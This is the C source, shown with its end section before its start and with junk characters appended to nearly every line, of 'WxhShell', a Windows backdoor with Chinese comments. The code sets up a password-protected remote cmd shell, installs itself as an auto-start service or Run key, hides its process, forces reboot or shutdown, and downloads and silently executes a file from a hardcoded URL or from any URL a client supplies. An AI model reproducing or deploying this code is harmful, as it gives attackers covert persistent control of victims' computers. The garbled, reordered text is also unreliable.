    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RXw1HRR$V  
    if(Boot(SHUTDOWN)) 1bjz :^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CF:L#r  
    else { S f6%A  
    closesocket(wsh); jO9! :L>b`  
    ExitThread(0); _9dW+  
    } NKc<nYdK?  
    break; (*kKfg4Wj  
    } nd$92H  
  // 获取shell luW"|  
  case 's': { /|3~LvIt=  
    CmdShell(wsh); KWM.e1(  
    closesocket(wsh); .<Ays?  
    ExitThread(0); ]L2b|a3  
    break; !MVf(y$  
  } x.$cP  
  // 退出 ttls.~DG  
  case 'x': { wp83E,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Bw~jqDZ}|  
    CloseIt(wsh); L9oLdWa(C  
    break; 6&QOC9JW+7  
    } Lq2jXy5#n  
  // 离开 oF a,IA  
  case 'q': { 1M b[S{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ObJ-XNcNH  
    closesocket(wsh); <oi'yr  
    WSACleanup(); 3h$E^"  
    exit(1); ~7FS'!W,F  
    break; 1CR\!?  
        } {|<yZ,,p  
  } 7rYBFSp  
  } =oM#]M'G+(  
=l:k($%%  
  // 提示信息 maa$kg8U*!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KoA+Vv9  
} Mp=T;Nz  
  } jT/P+2hMW  
l`uMtv/Wp  
  return; yo(MJ^=d  
} X|&H2y|*7  
YQyI{  
// shell模块句柄 `,]_r 4~ ~  
int CmdShell(SOCKET sock) K#'$_0.  
{ ^I yYck'y+  
STARTUPINFO si; u'k+t`V&  
ZeroMemory(&si,sizeof(si)); [LQOP3f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vz|(KN[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]O{i?tyX  
PROCESS_INFORMATION ProcessInfo; 7yXJ\(6R_  
char cmdline[]="cmd"; lMG+,?<uK&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1GIBqs~-  
  return 0; X&h?1lMJ /  
} PVIZ Y^64  
EZzR"W/  
// 自身启动模式 f*A B Im  
int StartFromService(void) mU  
{ 3ZI:EZ5  
typedef struct cNN0-<#c  
{ on"ENT  
  DWORD ExitStatus; C<(qk_  
  DWORD PebBaseAddress; zbr^ulr  
  DWORD AffinityMask; <6s@eare8  
  DWORD BasePriority; @2mWNYHR*>  
  ULONG UniqueProcessId; rA^=;?7Q  
  ULONG InheritedFromUniqueProcessId; ?6>*mdpl  
}   PROCESS_BASIC_INFORMATION; 4q:8<*W=  
J}+N\V~  
PROCNTQSIP NtQueryInformationProcess; V;^N:I\js  
FFcIOn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +'+ Nr<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X y`2ux+>/  
Z:Vde^Ih  
  HANDLE             hProcess; iz)r.TJ  
  PROCESS_BASIC_INFORMATION pbi; ]N;n q  
mq:WBSsV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); US=K}B=g  
  if(NULL == hInst ) return 0; )Vrp<"v  
~kj96w4eAR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?m+];SJk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wjZ Q.T!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gy;Fe=  
zGNW5S9G  
  if (!NtQueryInformationProcess) return 0; Z_edNf }|  
PIXqd,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "FhC"}N  
  if(!hProcess) return 0; k}I65 ^l#  
nP<u.{q L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <L11s%5-  
hOkn@F.  
  CloseHandle(hProcess); ,grx'to(X  
^^*L;b>I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i(.V`G=  
if(hProcess==NULL) return 0; c~ vql4  
==gL!e{  
HMODULE hMod; mdQe)>  
char procName[255]; xpCZlOld  
unsigned long cbNeeded; 7[uN;B#V  
'r ^ .Ao5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w{lj'3z I  
:-lq Yd5^  
  CloseHandle(hProcess); 8DMqjt3B  
$G6kS@A  
if(strstr(procName,"services")) return 1; // 以服务启动 D!#B*[|  
&<_q00F  
  return 0; // 注册表启动 :Ny[?jt c  
} LFqY2,#i  
K" |~D0Qgo  
// 主模块 #_`p 0wY  
int StartWxhshell(LPSTR lpCmdLine) tCoE4Ed  
{ p&u\gSo  
  SOCKET wsl; =cb!2%?}  
BOOL val=TRUE; 5O]ZX3z>  
  int port=0; WNb2"W  
  struct sockaddr_in door; \x:U`T  
\IYv9ScAx  
  if(wscfg.ws_autoins) Install(); 6rWq hIaI  
R,["w9 8a  
port=atoi(lpCmdLine); \ltS~E uWU  
xLLTp7b(  
if(port<=0) port=wscfg.ws_port; 'p\&Mc_Gu  
Cg%Owe/E?0  
  WSADATA data; ki}Li*)7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y~Vc|zM^(  
|pbetA4&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _(~LXk^C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y2tBFeWY  
  door.sin_family = AF_INET; !4gHv4v ;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wtfH3v  
  door.sin_port = htons(port); ujN~l_ 4  
{dP6fr1z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $)c[FR~a  
closesocket(wsl); MxI*ml8z?  
return 1; 5Ma."?rW   
} o0F,!}  
[`s.fkb8  
  if(listen(wsl,2) == INVALID_SOCKET) { 1*$6u5.=F  
closesocket(wsl); :is2 &-|x  
return 1; 'vu]b#l3  
} ZZwIB3sNhf  
  Wxhshell(wsl); zBwqIJfM  
  WSACleanup(); u|.|dv'mbp  
:xq{\"r  
return 0; "VHT5k  
~`^kP.()  
} +4Wl  
#`U?,>2q  
// 以NT服务方式启动 ~Ym*QSD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0H.bRk/P+  
{ kka{u[ruA  
DWORD   status = 0; $;} @2U   
  DWORD   specificError = 0xfffffff; 0-aaLC~Z>  
#O,w{S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !};Ll=dz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z%LS{o~LK.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]N0B.e~D  
  serviceStatus.dwWin32ExitCode     = 0; ) ?B-en\  
  serviceStatus.dwServiceSpecificExitCode = 0; E BoC,{R#  
  serviceStatus.dwCheckPoint       = 0; mA%}ijR6y  
  serviceStatus.dwWaitHint       = 0; ,' t&L]  
d8R|0RZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #*lDKn[vO  
  if (hServiceStatusHandle==0) return; q[W@.[2y)  
uHbbPtk  
status = GetLastError(); VPuo!H  
  if (status!=NO_ERROR) sa/9r9hc+  
{ 1M?x,N_W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PY4a3dp U  
    serviceStatus.dwCheckPoint       = 0; {iq^CHAVK  
    serviceStatus.dwWaitHint       = 0; 1:M'|uc  
    serviceStatus.dwWin32ExitCode     = status; pFiE2V_aS  
    serviceStatus.dwServiceSpecificExitCode = specificError; fhR u-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]5:[6;wS  
    return; IG;= |  
  } Oml3=TV  
[T)>RF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >Wx9a"H^(  
  serviceStatus.dwCheckPoint       = 0; `mYp?N jR_  
  serviceStatus.dwWaitHint       = 0; LkK[,Qj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +XX5;;IC  
} BILZ XMf  
Mh3L(z]/E  
// 处理NT服务事件,比如:启动、停止 |HJ`uGN<b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xO %yjG=  
{ >b#CR/^z  
switch(fdwControl) X}h}3+V  
{ fpjFO&ML  
case SERVICE_CONTROL_STOP: |F'eT 4  
  serviceStatus.dwWin32ExitCode = 0; e.(d?/!F_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ygm6(+  
  serviceStatus.dwCheckPoint   = 0; n}1hmAh Z  
  serviceStatus.dwWaitHint     = 0;  ;0$qT$,  
  { )' ,dP)b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -`Zk`s|!  
  } =%>E8)Jb  
  return; jJ@@W~/)B  
case SERVICE_CONTROL_PAUSE: @n9iOf~<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]d%Ou]609  
  break; ts@ e ,  
case SERVICE_CONTROL_CONTINUE: W$l4@A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'cIFbjJ  
  break; x 0vW9*&  
case SERVICE_CONTROL_INTERROGATE: i!JSEQ_8  
  break; '&gUAt  
}; p&`I#6{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B tJF1#f  
} A]o3 MoSt  
8F)9.s,*  
// 标准应用程序主函数 {\VsM#K6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YY7dw:>e/  
{ \MmB+'f&R  
\Km+>G  
// 获取操作系统版本 7<2?NLE8*  
OsIsNt=GetOsVer(); eCg|@d%D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lD _iIe~c  
l#w0-n%S  
  // 从命令行安装 n4"xVDL  
  if(strpbrk(lpCmdLine,"iI")) Install(); h4ghMBo%  
AI9=?X<kh  
  // 下载执行文件 -A:'D8o#f  
if(wscfg.ws_downexe) { Kl(u~/=6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~aL?{kb+  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hb^ovc0   
} mryT%zSlM  
abEdZ)$  
if(!OsIsNt) { z!~{3M  
// 如果时win9x,隐藏进程并且设置为注册表启动 }y*rO(cu7G  
HideProc(); 9~iDL|0'~  
StartWxhshell(lpCmdLine); 5:EE%(g9  
} 0d`lugf  
else aKRnj!4z  
  if(StartFromService()) #X5Tt  ;  
  // 以服务方式启动 N$ 2Iz  
  StartServiceCtrlDispatcher(DispatchTable); vDc&m  
else [{ A5BE -  
  // 普通方式启动 IY2f$YV  
  StartWxhshell(lpCmdLine); W%9"E??c  
5(Xq58nhxI  
return 0; g J$m'kC;  
} MSt@yKq  
Z$)jPDSr  
B|;?#okx  
9!D c=  
=========================================== :{Iv ]d  
A2fuNV_  
C$v !emu  
o 7&q  
f_QZ ql  
HNfd[#gV  
" J'lqHf$T  
HuD~(CI.  
#include <stdio.h> *NI hYg6  
#include <string.h> xT+@0?|F  
#include <windows.h> "+4r4  
#include <winsock2.h> &v+Hl ^  
#include <winsvc.h> cn_*,\}  
#include <urlmon.h> LQ"xm  
H.2aoZ-w  
#pragma comment (lib, "Ws2_32.lib") m W4tW  
#pragma comment (lib, "urlmon.lib") s! sG)AR.J  
%Vsg4DRy  
#define MAX_USER   100 // 最大客户端连接数 ?T[K{t;~jo  
#define BUF_SOCK   200 // sock buffer L i`OaP$  
#define KEY_BUFF   255 // 输入 buffer Mg u=cm )  
|c,'0V,"cH  
#define REBOOT     0   // 重启 E0Kt4%b  
#define SHUTDOWN   1   // 关机 _eaK:EW  
]=]`Mnuxb  
#define DEF_PORT   5000 // 监听端口 '494^1"io  
k jR-p=}  
#define REG_LEN     16   // 注册表键长度 7{ QjE  
#define SVC_LEN     80   // NT服务名长度 V%J_iY/BUb  
M j |"+(  
// 从dll定义API 1 swqs7rR|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {=E,.%8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NUX2{8gs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [\pp KC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JB!KOzw  
_We4%  
// wxhshell配置信息 6J\A%i  
struct WSCFG { Dt+u f5o(  
  int ws_port;         // 监听端口 &-`a`  
  char ws_passstr[REG_LEN]; // 口令 _,|N`BBqd  
  int ws_autoins;       // 安装标记, 1=yes 0=no a[V4EX1E  
  char ws_regname[REG_LEN]; // 注册表键名 i}ti  
  char ws_svcname[REG_LEN]; // 服务名 s#)tiCSVW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6C*4' P9>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jR,3 -JQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dv \aP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'ewVn1ME[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AaJnRtBS~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xy<)zKp  
\F),SL  
}; _ ~E_#cNn  
K9euNa  
// default Wxhshell configuration zzyD'n7D  
struct WSCFG wscfg={DEF_PORT, !X/O1PM|  
    "xuhuanlingzhe", m9 f[nT  
    1, VaylbYUCT/  
    "Wxhshell", }kb6;4>c  
    "Wxhshell", A ]~%<=b  
            "WxhShell Service", >]l7AZ:,  
    "Wrsky Windows CmdShell Service", Gv }~  
    "Please Input Your Password: ", e{IwFX  
  1, IgtTYxI  
  "http://www.wrsky.com/wxhshell.exe", J k FZd  
  "Wxhshell.exe" U^xtS g  
    }; YH$whJ`W0  
w,zgYX&  
// 消息定义模块 KH76Vts  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WEugm603  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,[ M^rv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P}bwEj  
char *msg_ws_ext="\n\rExit."; tp=/f !bv  
char *msg_ws_end="\n\rQuit."; WEB enGQ  
char *msg_ws_boot="\n\rReboot..."; u69s}yZ  
char *msg_ws_poff="\n\rShutdown..."; *Mr'/qp,  
char *msg_ws_down="\n\rSave to "; 5JRj'G0I  
l( 0:CM  
char *msg_ws_err="\n\rErr!"; G[[<-[C]5  
char *msg_ws_ok="\n\rOK!"; FPXB>D'  
yM*< BV  
char ExeFile[MAX_PATH]; $iAd)2LT  
int nUser = 0; _^u^@.Q'i<  
HANDLE handles[MAX_USER]; _8nT$!\\  
int OsIsNt; +h? z7ZY^  
dRnO5 7+{  
SERVICE_STATUS       serviceStatus; T6p2=o&p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sBm/9vu  
#_[W*-|L  
// 函数声明 RiM!LX  
int Install(void); 8qQrJFm|3*  
int Uninstall(void); +%RB&:K7,  
int DownloadFile(char *sURL, SOCKET wsh); q|7$@H^*  
int Boot(int flag); O_ /|Wx  
void HideProc(void); ~l>2NY  
int GetOsVer(void); ,*'aH z  
int Wxhshell(SOCKET wsl); #`{L_n$c  
void TalkWithClient(void *cs); 9q f=P3  
int CmdShell(SOCKET sock); - -H%FYF`  
int StartFromService(void); :~+m9r  
int StartWxhshell(LPSTR lpCmdLine); w?zY9Fs=s  
tR% &.,2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i$W=5B>SO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p*S;4+>#  
Pi:=0,"XOp  
// 数据结构和表定义 "f<+~  
SERVICE_TABLE_ENTRY DispatchTable[] = h O}nc$S  
{ nvnJVkL9s  
{wscfg.ws_svcname, NTServiceMain}, ?e+$?8l[3  
{NULL, NULL} n"c3C)  
}; &26H   
I &I q  
// 自我安装 fE/|U|5L[  
int Install(void) 8NzXe 7  
{ 4Z<  
  char svExeFile[MAX_PATH]; /C)FS?=  
  HKEY key; X mX .)h'Y  
  strcpy(svExeFile,ExeFile); $y&1.caMa  
[E/}-m6g  
// 如果是win9x系统,修改注册表设为自启动 )!(etB=`y  
if(!OsIsNt) { JqmKD4p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Jci1o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 ]W4o"  
  RegCloseKey(key); w_eUU)z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o|0QstSCl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `OmYz{*r  
  RegCloseKey(key); L=WB'*N  
  return 0; P",E/beV  
    } 2DbM48\E  
  } +4%: q~C  
} vs~lyM/  
else { r 2L=gI  
D1VM_O  
// 如果是NT以上系统,安装为系统服务 Co#_Cyxg=9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #yVMC;J?W  
if (schSCManager!=0) &BDdJwE  
{ 2r|!:^'?W  
  SC_HANDLE schService = CreateService qEbzF#a-:  
  ( k_<8SG+`  
  schSCManager, #XlE_XD  
  wscfg.ws_svcname, `2Oh0{x0*O  
  wscfg.ws_svcdisp, _C97G&  
  SERVICE_ALL_ACCESS, N>}2&'I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [5Dg%?x  
  SERVICE_AUTO_START, #UpxF?A(  
  SERVICE_ERROR_NORMAL, kGX;x}q  
  svExeFile, dECH/vJ^  
  NULL, HGjGV]N5  
  NULL, cWA$O*A  
  NULL, E@F:U*A6%  
  NULL, ^."HD(  
  NULL c_r&)8  
  ); /Aq):T T  
  if (schService!=0) {? dW-  
  { b|HH9\  
  CloseServiceHandle(schService); [d_sd  
  CloseServiceHandle(schSCManager); ].eY]o}=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )tV^)n[w  
  strcat(svExeFile,wscfg.ws_svcname); Z|kMoB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >O{/%(9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uF=xo`=|  
  RegCloseKey(key); yNb :zoT  
  return 0; sC .R.  
    } D< 4!7*9%  
  } nBVknyMFNF  
  CloseServiceHandle(schSCManager); .{|AHW&0<  
} !cWnQRIt_F  
} j>0~"A  
9#;UQ.qA  
return 1; igW>C2J  
} 3[jk}2R';p  
^:RDu q  
// 自我卸载 Nh[{B{k  
int Uninstall(void) [}OL@num  
{ *ppb 4R;CW  
  HKEY key; j;k(AM<  
92k}ON  
if(!OsIsNt) { 7BX%z$_)A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e]+ [lq\p@  
  RegDeleteValue(key,wscfg.ws_regname); c[Mz#BWG  
  RegCloseKey(key); (Rc 0l;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U "qO&;m  
  RegDeleteValue(key,wscfg.ws_regname); ] PnE%  
  RegCloseKey(key); :-f"+v  
  return 0; '7<@(HO  
  } ,Wp0,>!  
} !\NKu1ta  
} kPVP+}cA  
else { .F~EQ %  
cg,_nG]i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %V$ujun`  
if (schSCManager!=0) 8bX\^&N  
{ \?} {wh8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &\C{,:[  
  if (schService!=0) rr[9sk`^H  
  { rwxJR@Ttn  
  if(DeleteService(schService)!=0) { fuH Dif,  
  CloseServiceHandle(schService); f-\l<o(  
  CloseServiceHandle(schSCManager); Z v=p0xH  
  return 0; ]'aG oR  
  } -BV&u(  
  CloseServiceHandle(schService); g(:y_EpmLH  
  } /Ki :6  
  CloseServiceHandle(schSCManager); N[}XLhbt  
} V,uhBMT#  
} A&5$eGe9  
Oh:SH|=]#  
return 1; rrSA.J{  
} MjI}fs<   
55oLj.l^j  
// 从指定url下载文件 KG#|Cq  
int DownloadFile(char *sURL, SOCKET wsh) qi7wr\XNW  
{ O'."ca]:5  
  HRESULT hr; ?.A6HrAPB  
char seps[]= "/"; 'ce9v@(0  
char *token; $`'^&o;&f  
char *file; <,0& Ox  
char myURL[MAX_PATH]; tS2lex%  
char myFILE[MAX_PATH]; eT+MN`  
5b B[o6+  
strcpy(myURL,sURL); -o#0Yt}3  
  token=strtok(myURL,seps); +V |]:{3W  
  while(token!=NULL) /$rS0@p  
  { "`:#sF9S  
    file=token; qc\o>$-:`  
  token=strtok(NULL,seps); }7$\F!R  
  } !*%3um  
!9o8v0ZI  
GetCurrentDirectory(MAX_PATH,myFILE); $zCUQthL@  
strcat(myFILE, "\\"); No[xf9>t  
strcat(myFILE, file); &F#X0h/m=  
  send(wsh,myFILE,strlen(myFILE),0); >[xQUf,p  
send(wsh,"...",3,0); I{cn ,,8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ecf7g)+C  
  if(hr==S_OK) xDr *|d  
return 0; 1'_OM h*;  
else t*Q12Q  
return 1; 'd?8OV  
PfrW,R~r  
} JsPuxu_  
:OI!YR%"  
// 系统电源模块 v2@M,xbxF:  
int Boot(int flag) Fr%KO)s2  
{ udc9$uO  
  HANDLE hToken; `%ymg8^  
  TOKEN_PRIVILEGES tkp; 0/KNXz  
&U 'Ds!  
  if(OsIsNt) { g1J]z<&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f\(Kou$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); db%`- UST  
    tkp.PrivilegeCount = 1; P6=|C;[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >Ft jrEB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `Ze fSmb  
if(flag==REBOOT) { FpRK^MEkG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #3CA  
  return 0; hV8A<VT  
} Pq4sv`q)S  
else { OC\C^Yh*U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jEO;  
  return 0; \W@?revK  
} sox 90o 7  
  } F37,u|  
  else { <I|ryPU9{X  
if(flag==REBOOT) { jA]xpf6}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -=qmYf  
  return 0; f CVSVn"o  
} jN {ED_  
else {  b'{D4/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P7Y[?='v  
  return 0; \|&5eeE@  
} )O&$-4gL'  
} i([A8C_A  
mA>Pr<aV:  
return 1; Sdt @"6  
} ,vhR99g{  
gVl#pVO`N  
// win9x进程隐藏模块 h'jnc.  
void HideProc(void) IaF79}^  
{ G/`_$ c  
 z`_N|iEd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); da<1,hF  
  if ( hKernel != NULL ) H5aUZ=  
  { _88~uYG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `H|g~7KD&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I%s/h4x^B[  
    FreeLibrary(hKernel); E|fPI u  
  } G37_ `C  
w\QpQ~OX  
return; [,e_2<   
} 4i19HD_  
5y~[2jB:  
// 获取操作系统版本 UmJg-~  
int GetOsVer(void) HU'E}8%t6  
{ FJ[(dGKeE  
  OSVERSIONINFO winfo; JEd/j zR(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v]1rH$  
  GetVersionEx(&winfo); oyd{}$71d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m8f_w  
  return 1; U--ER r8  
  else [zfGDMG&  
  return 0; KVntBe]I  
} %$}iM<  
qy]-YJZ  
// 客户端句柄模块 a&<<X:$Hy  
int Wxhshell(SOCKET wsl) s6 ^JgdW  
{ &, )tD62s  
  SOCKET wsh; :H87x?e[  
  struct sockaddr_in client; :=8vy  
  DWORD myID; RU'J!-w{  
HvngjP{>  
  while(nUser<MAX_USER) _1Eyqh`oh  
{ ls5S9R 5  
  int nSize=sizeof(client); Cm&itG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Tv KX8m"  
  if(wsh==INVALID_SOCKET) return 1; S,v`rmI  
JSL 3.J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g?`J,*y  
if(handles[nUser]==0) )Qc$UI8L  
  closesocket(wsh); *Zvw&y*  
else R}]FIu  
  nUser++; | jkmh6  
  } nk{1z\D{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *!Dzst-J3  
ubQ(O uM"  
  return 0; v$cD!`+k  
} ;Cy@TzO/|  
3m^BYr*y^  
// 关闭 socket 'ZDclz9}  
void CloseIt(SOCKET wsh) _`\INZe-G  
{ tEUmED0FY  
closesocket(wsh); VuY.})+J:  
nUser--; kmS8>O  
ExitThread(0); )eFK@goGeb  
} wfdFGoy(  
F~Li.qF  
// 客户端请求句柄 We ->d |=  
void TalkWithClient(void *cs) oK>,MdB  
{ p#kC#{<nE  
s5pY)6)  
  SOCKET wsh=(SOCKET)cs; TQou.'+v  
  char pwd[SVC_LEN]; 2*M*<p=v  
  char cmd[KEY_BUFF]; x\%eg w  
char chr[1]; xv:?n^yt.[  
int i,j; MXy{]o_H~  
aI<~+]  
  while (nUser < MAX_USER) { 1gE`_%?K  
bm4W,  
if(wscfg.ws_passstr) { 1mX*0>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U,=K_oBAq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x6t;=  
  //ZeroMemory(pwd,KEY_BUFF); |^F-.Z  
      i=0; eZ!k'bS=  
  while(i<SVC_LEN) { Vo%d;>!G\;  
$o/>wgQY-  
  // 设置超时 @2mP  
  fd_set FdRead; 9ZBF1sMg  
  struct timeval TimeOut; [a3 0iE  
  FD_ZERO(&FdRead); (Ka# 6   
  FD_SET(wsh,&FdRead); CytpL`&^]  
  TimeOut.tv_sec=8; pR"qPSv'  
  TimeOut.tv_usec=0; Bag#An1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C gx?K]>y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -  -G1H  
=Wf@'~K0k"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P5>CSWy%  
  pwd=chr[0]; ,:`6x[ +  
  if(chr[0]==0xd || chr[0]==0xa) { asg>TO W  
  pwd=0; h,x]  
  break; IfcFlXmt2  
  } OL rD4 e  
  i++; o$O,#^  
    } qC )VT3  
R*X2Z{n  
  // 如果是非法用户,关闭 socket G)&'8W F5o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2An`{')  
} 8|({ _Z  
%U GlAyj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ' l|_$3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rHlF& ET  
GcR`{ 3hO  
while(1) { ??Zmj:8E'  
sh ;uKzQ  
  ZeroMemory(cmd,KEY_BUFF); j;)g+9`  
^{:jY, ?]  
      // 自动支持客户端 telnet标准   F-^HN%  
  j=0; j&A3s{S4A  
  while(j<KEY_BUFF) { 86#mmm)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ozC!q)j  
  cmd[j]=chr[0]; P0xLx  
  if(chr[0]==0xa || chr[0]==0xd) { |l xy< C4V  
  cmd[j]=0; @@IA35'tc  
  break; U*Qq5=dqD  
  } Hc]1mM  
  j++; N;'HR)  
    } }4SSo)Uv/  
1>w^ q`P  
  // 下载文件 |QLX..  
  if(strstr(cmd,"http://")) { wy {>gvqK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -j_I_  
  if(DownloadFile(cmd,wsh)) 5lnSa+_/f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e({fY.)SGo  
  else R9h>I3F=c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T[-c|  
  } 5 xDN&su  
  else { *Ca)RgM  
